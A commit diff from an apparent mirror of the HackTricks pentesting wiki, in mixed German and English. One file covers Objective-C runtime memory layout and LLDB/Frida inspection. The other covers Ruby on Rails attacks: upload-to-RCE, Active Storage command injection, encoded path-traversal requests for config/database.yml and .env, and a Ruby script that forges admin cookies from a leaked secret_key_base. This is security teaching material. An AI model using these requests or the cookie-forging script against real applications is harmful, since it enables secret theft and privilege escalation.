mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-web/ruby-tricks.
This commit is contained in:
parent
16b0d5d098
commit
eef4c31fa0
@ -4,9 +4,9 @@
|
||||
|
||||
## CFRuntimeClass
|
||||
|
||||
CF\* Objekte stammen aus CoreFoundation, das mehr als 50 Klassen von Objekten wie `CFString`, `CFNumber` oder `CFAllocator` bereitstellt.
|
||||
CF* objects come from CoreFoundation, which provides more than 50 classes of objects like `CFString`, `CFNumber` or `CFAllocator`.
|
||||
|
||||
Alle diese Klassen sind Instanzen der Klasse `CFRuntimeClass`, die, wenn sie aufgerufen wird, einen Index zur `__CFRuntimeClassTable` zurückgibt. Die CFRuntimeClass ist in [**CFRuntime.h**](https://opensource.apple.com/source/CF/CF-1153.18/CFRuntime.h.auto.html) definiert:
|
||||
All these classes are instances of the class `CFRuntimeClass`, which when called it returns an index to the `__CFRuntimeClassTable`. The CFRuntimeClass is defined in [**CFRuntime.h**](https://opensource.apple.com/source/CF/CF-1153.18/CFRuntime.h.auto.html):
|
||||
```objectivec
|
||||
// Some comments were added to the original code
|
||||
|
||||
@ -57,66 +57,77 @@ uintptr_t requiredAlignment; // Or in _kCFRuntimeRequiresAlignment in the .versi
|
||||
|
||||
### Verwendete Speicherabschnitte
|
||||
|
||||
Die meisten Daten, die von der ObjectiveC-Laufzeit verwendet werden, ändern sich während der Ausführung, daher verwendet es einige Abschnitte aus dem **\_\_DATA**-Segment im Speicher:
|
||||
Die meisten Daten, die die Objective‑C Runtime verwendet, ändern sich während der Ausführung, daher nutzt sie eine Reihe von Sektionen aus der Mach‑O `__DATA`-Familie von Segments im Speicher. Historisch gehörten dazu:
|
||||
|
||||
- **`__objc_msgrefs`** (`message_ref_t`): Nachrichtenreferenzen
|
||||
- **`__objc_ivar`** (`ivar`): Instanzvariablen
|
||||
- **`__objc_data`** (`...`): Änderbare Daten
|
||||
- **`__objc_classrefs`** (`Class`): Klassenreferenzen
|
||||
- **`__objc_superrefs`** (`Class`): Superklassenreferenzen
|
||||
- **`__objc_protorefs`** (`protocol_t *`): Protokollreferenzen
|
||||
- **`__objc_selrefs`** (`SEL`): Selektorreferenzen
|
||||
- **`__objc_const`** (`...`): Klassen `r/o` Daten und andere (hoffentlich) konstante Daten
|
||||
- **`__objc_imageinfo`** (`version, flags`): Wird während des Bildladens verwendet: Version derzeit `0`; Flags geben die Unterstützung für voroptimierte GC an usw.
|
||||
- **`__objc_protolist`** (`protocol_t *`): Protokollliste
|
||||
- **`__objc_nlcatlist`** (`category_t`): Zeiger auf Nicht-Lazy-Kategorien, die in diesem Binärformat definiert sind
|
||||
- **`__objc_catlist`** (`category_t`): Zeiger auf Kategorien, die in diesem Binärformat definiert sind
|
||||
- **`__objc_nlclslist`** (`classref_t`): Zeiger auf Nicht-Lazy-Objective-C-Klassen, die in diesem Binärformat definiert sind
|
||||
- **`__objc_classlist`** (`classref_t`): Zeiger auf alle Objective-C-Klassen, die in diesem Binärformat definiert sind
|
||||
- `__objc_msgrefs` (`message_ref_t`): Nachrichtenreferenzen
|
||||
- `__objc_ivar` (`ivar`): Instanzvariablen
|
||||
- `__objc_data` (`...`): Mutable Daten
|
||||
- `__objc_classrefs` (`Class`): Klassenreferenzen
|
||||
- `__objc_superrefs` (`Class`): Superclass-Referenzen
|
||||
- `__objc_protorefs` (`protocol_t *`): Protokollreferenzen
|
||||
- `__objc_selrefs` (`SEL`): Selector-Referenzen
|
||||
- `__objc_const` (`...`): Klassen r/o Daten und andere (hoffentlich) konstante Daten
|
||||
- `__objc_imageinfo` (`version, flags`): Wird beim Image-Load verwendet: Version derzeit `0`; Flags spezifizieren z. B. voroptimierte GC-Unterstützung.
|
||||
- `__objc_protolist` (`protocol_t *`): Protokollliste
|
||||
- `__objc_nlcatlist` (`category_t`): Pointer auf Non-Lazy Categories, die in diesem Binary definiert sind
|
||||
- `__objc_catlist` (`category_t`): Pointer auf Categories, die in diesem Binary definiert sind
|
||||
- `__objc_nlclslist` (`classref_t`): Pointer auf Non-Lazy Objective‑C Klassen, die in diesem Binary definiert sind
|
||||
- `__objc_classlist` (`classref_t`): Pointer auf alle Objective‑C Klassen, die in diesem Binary definiert sind
|
||||
|
||||
Es verwendet auch einige Abschnitte im **`__TEXT`**-Segment, um konstante Werte zu speichern, wenn es nicht möglich ist, in diesem Abschnitt zu schreiben:
|
||||
Es verwendet außerdem einige Sektionen im `__TEXT`-Segment, um Konstanten zu speichern:
|
||||
|
||||
- **`__objc_methname`** (C-String): Methodennamen
|
||||
- **`__objc_classname`** (C-String): Klassennamen
|
||||
- **`__objc_methtype`** (C-String): Methodentypen
|
||||
- `__objc_methname` (C‑String): Methodennamen
|
||||
- `__objc_classname` (C‑String): Klassennamen
|
||||
- `__objc_methtype` (C‑String): Methodentypen
|
||||
|
||||
### Typkodierung
|
||||
Modernes macOS/iOS (insbesondere auf Apple Silicon) legt Objective‑C/Swift‑Metadaten außerdem in:
|
||||
|
||||
Objective-C verwendet einige Mangling-Techniken, um Selektor- und Variablentypen einfacher und komplexer Typen zu kodieren:
|
||||
- `__DATA_CONST`: unveränderliche Objective‑C‑Metadaten, die schreibgeschützt zwischen Prozessen geteilt werden können (zum Beispiel liegen viele `__objc_*`-Listen jetzt hier).
|
||||
- `__AUTH` / `__AUTH_CONST`: Segmente, die Zeiger enthalten, die beim Laden oder zur Laufzeit auf arm64e authentifiziert werden müssen (Pointer Authentication). Sie werden außerdem `__auth_got` in `__AUTH_CONST` sehen, anstelle der legacy `__la_symbol_ptr`/`__got`-Einträge. Beim instrumenting or hooking denken Sie daran, sowohl `__got`- als auch `__auth_got`-Einträge in modernen Binaries zu berücksichtigen.
|
||||
|
||||
- Primitive Typen verwenden den ersten Buchstaben des Typs `i` für `int`, `c` für `char`, `l` für `long`... und verwenden den Großbuchstaben, falls er unsigned ist (`L` für `unsigned Long`).
|
||||
- Andere Datentypen, deren Buchstaben verwendet werden oder speziell sind, verwenden andere Buchstaben oder Symbole wie `q` für `long long`, `b` für `bitfields`, `B` für `booleans`, `#` für `classes`, `@` für `id`, `*` für `char pointers`, `^` für generische `pointers` und `?` für `undefined`.
|
||||
- Arrays, Strukturen und Vereinigungen verwenden `[`, `{` und `(`
|
||||
Für Hintergrundinformationen zu dyld pre‑optimization (z. B. selector uniquing und class/protocol precomputation) und warum viele dieser Sektionen beim Laden aus dem shared cache bereits "fixed up" sind, sehen Sie sich die Apple `objc-opt`-Quellen und dyld shared cache-Notizen an. Das beeinflusst, wo und wie Sie Metadaten zur Laufzeit patchen können.
|
||||
|
||||
#### Beispielmethodendeklaration
|
||||
{{#ref}}
|
||||
../macos-files-folders-and-binaries/universal-binaries-and-mach-o-format.md
|
||||
{{#endref}}
|
||||
|
||||
### Type Encoding
|
||||
|
||||
Objective‑C verwendet Mangling, um Selector- und Variablentypen einfacher und komplexer Typen zu kodieren:
|
||||
|
||||
- Primitive Typen verwenden den Anfangsbuchstaben des Typs: `i` für `int`, `c` für `char`, `l` für `long` ... und verwenden Großbuchstaben im Fall von unsigned (`L` für `unsigned long`).
|
||||
- Andere Datentypen verwenden andere Buchstaben oder Symbole wie `q` für `long long`, `b` für bitfields, `B` für booleans, `#` für classes, `@` für `id`, `*` für `char *`, `^` für generische Pointer und `?` für undefined.
|
||||
- Arrays, Strukturen und Unions verwenden jeweils `[`, `{` und `(`.
|
||||
|
||||
#### Beispiel Methodendeklaration
|
||||
```objectivec
|
||||
- (NSString *)processString:(id)input withOptions:(char *)options andError:(id)error;
|
||||
```
|
||||
Der Selektor wäre `processString:withOptions:andError:`
|
||||
Der Selector wäre `processString:withOptions:andError:`
|
||||
|
||||
#### Typkodierung
|
||||
#### Type Encoding
|
||||
|
||||
- `id` wird als `@` kodiert
|
||||
- `char *` wird als `*` kodiert
|
||||
|
||||
Die vollständige Typkodierung für die Methode ist:
|
||||
Die vollständige Type Encoding für die Methode ist:
|
||||
```less
|
||||
@24@0:8@16*20^@24
|
||||
```
|
||||
#### Detaillierte Aufschlüsselung
|
||||
#### Detailed Breakdown
|
||||
|
||||
1. **Rückgabetyp (`NSString *`)**: Kodiert als `@` mit einer Länge von 24
|
||||
2. **`self` (Objektinstanz)**: Kodiert als `@`, bei Offset 0
|
||||
3. **`_cmd` (Selektor)**: Kodiert als `:`, bei Offset 8
|
||||
4. **Erstes Argument (`char * input`)**: Kodiert als `*`, bei Offset 16
|
||||
5. **Zweites Argument (`NSDictionary * options`)**: Kodiert als `@`, bei Offset 20
|
||||
6. **Drittes Argument (`NSError ** error`)**: Kodiert als `^@`, bei Offset 24
|
||||
1. Rückgabetyp (`NSString *`): Kodiert als `@` mit Länge 24
|
||||
2. `self` (Objektinstanz): Kodiert als `@`, bei Offset 0
|
||||
3. `_cmd` (Selector): Kodiert als `:`, bei Offset 8
|
||||
4. Erstes Argument (`char * input`): Kodiert als `*`, bei Offset 16
|
||||
5. Zweites Argument (`NSDictionary * options`): Kodiert als `@`, bei Offset 20
|
||||
6. Drittes Argument (`NSError ** error`): Kodiert als `^@`, bei Offset 24
|
||||
|
||||
**Mit dem Selektor + der Kodierung kannst du die Methode rekonstruieren.**
|
||||
Mit dem Selector + der Kodierung lässt sich die Methode rekonstruieren.
|
||||
|
||||
### **Klassen**
|
||||
### Classes
|
||||
|
||||
Klassen in Objective-C sind eine Struktur mit Eigenschaften, Methodenzeigern... Es ist möglich, die Struktur `objc_class` im [**Quellcode**](https://opensource.apple.com/source/objc4/objc4-756.2/runtime/objc-runtime-new.h.auto.html) zu finden:
|
||||
Klassen in Objective‑C sind C‑Strukturen mit Eigenschaften, Methodenzeigern usw. Man findet die Struktur `objc_class` im [**source code**](https://opensource.apple.com/source/objc4/objc4-756.2/runtime/objc-runtime-new.h.auto.html):
|
||||
```objectivec
|
||||
struct objc_class : objc_object {
|
||||
// Class ISA;
|
||||
@ -137,9 +148,114 @@ data()->setFlags(set);
|
||||
}
|
||||
[...]
|
||||
```
|
||||
Diese Klasse verwendet einige Bits des isa-Feldes, um Informationen über die Klasse anzuzeigen.
|
||||
This class uses some bits of the `isa` field to indicate information about the class.
|
||||
|
||||
Dann hat die Struktur einen Zeiger auf die Struktur `class_ro_t`, die auf der Festplatte gespeichert ist und Attribute der Klasse wie ihren Namen, Basis-Methoden, Eigenschaften und Instanzvariablen enthält.\
|
||||
Während der Laufzeit wird eine zusätzliche Struktur `class_rw_t` verwendet, die Zeiger enthält, die geändert werden können, wie Methoden, Protokolle, Eigenschaften...
|
||||
Then, the struct has a pointer to the struct `class_ro_t` stored on disk which contains attributes of the class like its name, base methods, properties and instance variables. During runtime an additional structure `class_rw_t` is used containing pointers which can be altered such as methods, protocols, properties.
|
||||
|
||||
{{#ref}}
|
||||
../macos-basic-objective-c.md
|
||||
{{#endref}}
|
||||
|
||||
---
|
||||
|
||||
## Moderne Objektrepräsentationen im Speicher (arm64e, getaggte Pointer, Swift)
|
||||
|
||||
### Nicht‑Pointer-`isa` und Pointer-Authentifizierung (arm64e)
|
||||
|
||||
Auf Apple Silicon und in aktuellen Runtimes ist das Objective‑C-`isa` nicht immer ein roher Klassenzeiger. Auf arm64e ist es eine gepackte Struktur, die auch einen Pointer Authentication Code (PAC) tragen kann. Je nach Plattform kann sie Felder wie `nonpointer`, `has_assoc`, `weakly_referenced`, `extra_rc` und den Klassenzeiger selbst (verschoben oder signiert) enthalten. Das bedeutet, dass das blinde Dereferenzieren der ersten 8 Bytes eines Objective‑C-Objekts nicht immer einen gültigen `Class`-Zeiger liefert.
|
||||
|
||||
Praktische Hinweise beim Debuggen auf arm64e:
|
||||
|
||||
- LLDB wird normalerweise die PAC-Bits für dich entfernen, wenn Objective‑C-Objekte mit `po` ausgegeben werden, aber beim Arbeiten mit rohen Zeigern musst du die Authentifizierung ggf. manuell entfernen:
|
||||
|
||||
```lldb
|
||||
(lldb) expr -l objc++ -- #include <ptrauth.h>
|
||||
(lldb) expr -l objc++ -- void *raw = ptrauth_strip((void*)0x000000016f123abc, ptrauth_key_asda);
|
||||
(lldb) expr -l objc++ -O -- (Class)object_getClass((id)raw)
|
||||
```
|
||||
|
||||
- Viele Funktions-/Datenszeiger in Mach‑O liegen in `__AUTH`/`__AUTH_CONST` und erfordern eine Authentifizierung vor der Verwendung. Wenn du interponierst oder neu bindest (z. B. im fishhook‑Stil), stelle sicher, dass du zusätzlich zu dem legacy `__got` auch `__auth_got` behandelst.
|
||||
|
||||
Für einen tiefen Einblick in Sprach-/ABI-Garantien und die von Clang/LLVM verfügbaren `<ptrauth.h>`-Intrinsics siehe die Referenz am Ende dieser Seite.
|
||||
|
||||
### Getaggte Pointer-Objekte
|
||||
|
||||
Einige Foundation-Klassen vermeiden Heap-Allokation, indem sie den Payload des Objekts direkt im Zeigerwert kodieren (tagged pointers). Die Erkennung unterscheidet sich je nach Plattform (z. B. das Most‑Significant-Bit auf arm64, das Least‑Significant auf x86_64 macOS). Getaggte Objekte haben kein reguläres `isa` im Speicher; die Runtime löst die Klasse aus den Tag-Bits auf. Beim Untersuchen beliebiger `id`-Werte:
|
||||
|
||||
- Verwende Runtime-APIs anstatt direkt am `isa`-Feld herumzupfen: `object_getClass(obj)` / `[obj class]`.
|
||||
- In LLDB reicht `po (id)0xADDR`, um getaggte Pointer-Instanzen korrekt auszugeben, da die Runtime zur Bestimmung der Klasse herangezogen wird.
|
||||
|
||||
### Swift-Heap-Objekte und Metadaten
|
||||
|
||||
Pure Swift-Klassen sind ebenfalls Objekte mit einem Header, der auf Swift-Metadaten zeigt (nicht auf das Objective‑C-`isa`). Um laufende Swift-Prozesse zu introspektieren, ohne sie zu verändern, kannst du das Swift-Toolchain-Tool `swift-inspect` verwenden, das die Remote Mirror Library nutzt, um Runtime-Metadaten zu lesen:
|
||||
```bash
|
||||
# Xcode toolchain (or Swift.org toolchain) provides swift-inspect
|
||||
swift-inspect dump-raw-metadata <pid-or-name>
|
||||
swift-inspect dump-arrays <pid-or-name>
|
||||
# On Darwin additionally:
|
||||
swift-inspect dump-concurrency <pid-or-name>
|
||||
```
|
||||
Das ist sehr nützlich, um Swift-Heap-Objekte und Protokollkonformitäten zuzuordnen, beim reversing gemischter Swift/ObjC-Apps.
|
||||
|
||||
---
|
||||
|
||||
## Kurzreferenz zur Laufzeit-Inspektion (LLDB / Frida)
|
||||
|
||||
### LLDB
|
||||
|
||||
- Objekt oder Klasse aus einem rohen Zeiger ausgeben:
|
||||
```lldb
|
||||
(lldb) expr -l objc++ -O -- (id)0x0000000101234560
|
||||
(lldb) expr -l objc++ -O -- (Class)object_getClass((id)0x0000000101234560)
|
||||
```
|
||||
- Objective‑C-Klasse aus einem Zeiger auf das `self` einer Objektmethode in einem Breakpoint inspizieren:
|
||||
```lldb
|
||||
(lldb) br se -n '-[NSFileManager fileExistsAtPath:]'
|
||||
(lldb) r
|
||||
... breakpoint hit ...
|
||||
(lldb) po (id)$x0 # self
|
||||
(lldb) expr -l objc++ -O -- (Class)object_getClass((id)$x0)
|
||||
```
|
||||
- Dump sections that carry Objective‑C metadata (Hinweis: viele befinden sich jetzt in `__DATA_CONST` / `__AUTH_CONST`):
|
||||
```lldb
|
||||
(lldb) image dump section --section __DATA_CONST.__objc_classlist
|
||||
(lldb) image dump section --section __DATA_CONST.__objc_selrefs
|
||||
(lldb) image dump section --section __AUTH_CONST.__auth_got
|
||||
```
|
||||
- Lese den Speicher eines bekannten Klassenobjekts, um beim reversing von method lists zu `class_ro_t` / `class_rw_t` zu pivoten:
|
||||
```lldb
|
||||
(lldb) image lookup -r -n _OBJC_CLASS_$_NSFileManager
|
||||
(lldb) memory read -fx -s8 0xADDRESS_OF_CLASS_OBJECT
|
||||
```
|
||||
### Frida (Objective‑C und Swift)
|
||||
|
||||
Frida bietet hochstufige Laufzeit‑Brücken, die sehr nützlich sind, um Live‑Objekte ohne Symbole zu entdecken und zu instrumentieren:
|
||||
|
||||
- Klassen und Methoden aufzählen, tatsächliche Klassennamen zur Laufzeit auflösen und Objective‑C selectors abfangen:
|
||||
```js
|
||||
if (ObjC.available) {
|
||||
// List a class' methods
|
||||
console.log(ObjC.classes.NSFileManager.$ownMethods);
|
||||
|
||||
// Intercept and inspect arguments/return values
|
||||
const impl = ObjC.classes.NSFileManager['- fileExistsAtPath:isDirectory:'].implementation;
|
||||
Interceptor.attach(impl, {
|
||||
onEnter(args) {
|
||||
this.path = new ObjC.Object(args[2]).toString();
|
||||
},
|
||||
onLeave(retval) {
|
||||
console.log('fileExistsAtPath:', this.path, '=>', retval);
|
||||
}
|
||||
});
|
||||
}
|
||||
```
|
||||
- Swift bridge: Swift-Typen auflisten und mit Swift-Instanzen interagieren (erfordert aktuelle Frida; sehr nützlich auf Apple Silicon-Zielen).
|
||||
|
||||
---
|
||||
|
||||
## Referenzen
|
||||
|
||||
- Clang/LLVM: Pointer Authentication und die `<ptrauth.h>` intrinsics (arm64e ABI). https://clang.llvm.org/docs/PointerAuthentication.html
|
||||
- Apple objc runtime Header (tagged pointers, non‑pointer `isa`, etc.) z. B. `objc-object.h`. https://opensource.apple.com/source/objc4/objc4-818.2/runtime/objc-object.h.auto.html
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -1,9 +1,100 @@
|
||||
# Ruby Tricks
|
||||
# Ruby-Tricks
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Datei-Upload zu RCE
|
||||
## File upload to RCE
|
||||
|
||||
Wie in [diesem Artikel](https://www.offsec.com/blog/cve-2024-46986/) erklärt, kann das Hochladen einer `.rb`-Datei in sensible Verzeichnisse wie `config/initializers/` zu Remote Code Execution (RCE) in Ruby on Rails-Anwendungen führen.
|
||||
As explained in [this article](https://www.offsec.com/blog/cve-2024-46986/), uploading a `.rb` file into sensitive directories such as `config/initializers/` can lead to remote code execution (RCE) in Ruby on Rails applications.
|
||||
|
||||
Tipps:
|
||||
- Andere Boot-/eager-load-Orte, die beim App-Start ausgeführt werden, sind ebenfalls riskant, wenn sie writeable sind (z. B. `config/initializers/` ist das klassische). Wenn du einen beliebigen Datei-Upload findest, der irgendwo unter `config/` landet und später evaluiert/required wird, kannst du RCE beim Boot erhalten.
|
||||
- Suche nach dev/staging-Builds, die vom Benutzer kontrollierte Dateien in das Container-Image kopieren, in dem Rails sie beim Boot lädt.
|
||||
|
||||
## Active Storage image transformation → command execution (CVE-2025-24293)
|
||||
|
||||
Wenn eine Anwendung Active Storage mit `image_processing` + `mini_magick` verwendet und untrusted Parameter an Bildtransformationsmethoden übergibt, könnten Rails-Versionen vor 7.1.5.2 / 7.2.2.2 / 8.0.2.1 Command Injection ermöglichen, weil einige Transformationsmethoden fälschlicherweise standardmäßig erlaubt waren.
|
||||
|
||||
- A vulnerable pattern looks like:
|
||||
```erb
|
||||
<%= image_tag blob.variant(params[:t] => params[:v]) %>
|
||||
```
|
||||
where `params[:t]` and/or `params[:v]` are attacker-controlled.
|
||||
|
||||
- What to try during testing
|
||||
- Identify any endpoints that accept variant/processing options, transformation names, or arbitrary ImageMagick arguments.
|
||||
- Fuzz `params[:t]` and `params[:v]` for suspicious errors or execution side-effects. If you can influence the method name or pass raw arguments that reach MiniMagick, you may get code exec on the image processor host.
|
||||
- If you only have read-access to generated variants, attempt blind exfiltration via crafted ImageMagick operations.
|
||||
|
||||
- Remediation/detections
|
||||
- If you see Rails < 7.1.5.2 / 7.2.2.2 / 8.0.2.1 with Active Storage + `image_processing` + `mini_magick` and user-controlled transformations, consider it exploitable. Recommend upgrading and enforcing strict allowlists for methods/params and a hardened ImageMagick policy.
|
||||
|
||||
## Rack::Static LFI / path traversal (CVE-2025-27610)
|
||||
|
||||
If the target stack uses Rack middleware directly or via frameworks, versions of `rack` prior to 2.2.13, 3.0.14, and 3.1.12 allow Local File Inclusion via `Rack::Static` when `:root` is unset/misconfigured. Encoded traversal in `PATH_INFO` can expose files under the process working directory or an unexpected root.
|
||||
|
||||
- Hunt for apps that mount `Rack::Static` in `config.ru` or middleware stacks. Try encoded traversals against static paths, for example:
|
||||
```text
|
||||
GET /assets/%2e%2e/%2e%2e/config/database.yml
|
||||
GET /favicon.ico/..%2f..%2f.env
|
||||
```
|
||||
Adjust the prefix to match configured `urls:`. If the app responds with file contents, you likely have LFI to anything under the resolved `:root`.
|
||||
|
||||
- Mitigation: upgrade Rack; ensure `:root` only points to a directory of public files and is explicitly set.
|
||||
|
||||
## Fälschen/Entschlüsseln von Rails-Cookies, wenn `secret_key_base` is leaked
|
||||
|
||||
Rails encrypts and signs cookies using keys derived from `secret_key_base`. If that value leaks (e.g., in a repo, logs, or misconfigured credentials), you can usually decrypt, modify, and re-encrypt cookies. This often leads to authz bypass if the app stores roles, user IDs, or feature flags in cookies.
|
||||
|
||||
Minimales Ruby, um moderne Cookies zu entschlüsseln und neu zu verschlüsseln (AES-256-GCM, Standard in aktuellen Rails):
|
||||
```ruby
|
||||
require 'cgi'
|
||||
require 'json'
|
||||
require 'active_support'
|
||||
require 'active_support/message_encryptor'
|
||||
require 'active_support/key_generator'
|
||||
|
||||
secret_key_base = ENV.fetch('SECRET_KEY_BASE_LEAKED')
|
||||
raw_cookie = CGI.unescape(ARGV[0])
|
||||
|
||||
salt = 'authenticated encrypted cookie'
|
||||
cipher = 'aes-256-gcm'
|
||||
key_len = ActiveSupport::MessageEncryptor.key_len(cipher)
|
||||
secret = ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000).generate_key(salt, key_len)
|
||||
enc = ActiveSupport::MessageEncryptor.new(secret, cipher: cipher, serializer: JSON)
|
||||
|
||||
plain = enc.decrypt_and_verify(raw_cookie)
|
||||
puts "Decrypted: #{plain.inspect}"
|
||||
|
||||
# Modify and re-encrypt (example: escalate role)
|
||||
plain['role'] = 'admin' if plain.is_a?(Hash)
|
||||
forged = enc.encrypt_and_sign(plain)
|
||||
puts "Forged cookie: #{CGI.escape(forged)}"
|
||||
```
|
||||
Hinweise:
|
||||
- Ältere Apps können AES-256-CBC und Salts `encrypted cookie` / `signed encrypted cookie`, oder JSON/Marshal-Serializer verwenden. Passe Salts, cipher und serializer entsprechend an.
|
||||
- Bei Kompromittierung oder während einer Bewertung `secret_key_base` rotieren, um alle vorhandenen Cookies ungültig zu machen.
|
||||
|
||||
## Siehe auch (Ruby/Rails-specific vulns)
|
||||
|
||||
- Ruby deserialization and class pollution:
|
||||
{{#ref}}
|
||||
../../pentesting-web/deserialization/README.md
|
||||
{{#endref}}
|
||||
{{#ref}}
|
||||
../../pentesting-web/deserialization/ruby-class-pollution.md
|
||||
{{#endref}}
|
||||
{{#ref}}
|
||||
../../pentesting-web/deserialization/ruby-_json-pollution.md
|
||||
{{#endref}}
|
||||
- Template injection in Ruby engines (ERB/Haml/Slim, etc.):
|
||||
{{#ref}}
|
||||
../../pentesting-web/ssti-server-side-template-injection/README.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
|
||||
## Referenzen
|
||||
|
||||
- Rails Sicherheitsankündigung: CVE-2025-24293 Active Storage unsafe transformation methods (behoben in 7.1.5.2 / 7.2.2.2 / 8.0.2.1). https://discuss.rubyonrails.org/t/cve-2025-24293-active-storage-allowed-transformation-methods-potentially-unsafe/89670
|
||||
- GitHub Advisory: Rack::Static Local File Inclusion (CVE-2025-27610). https://github.com/advisories/GHSA-7wqh-767x-r66v
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user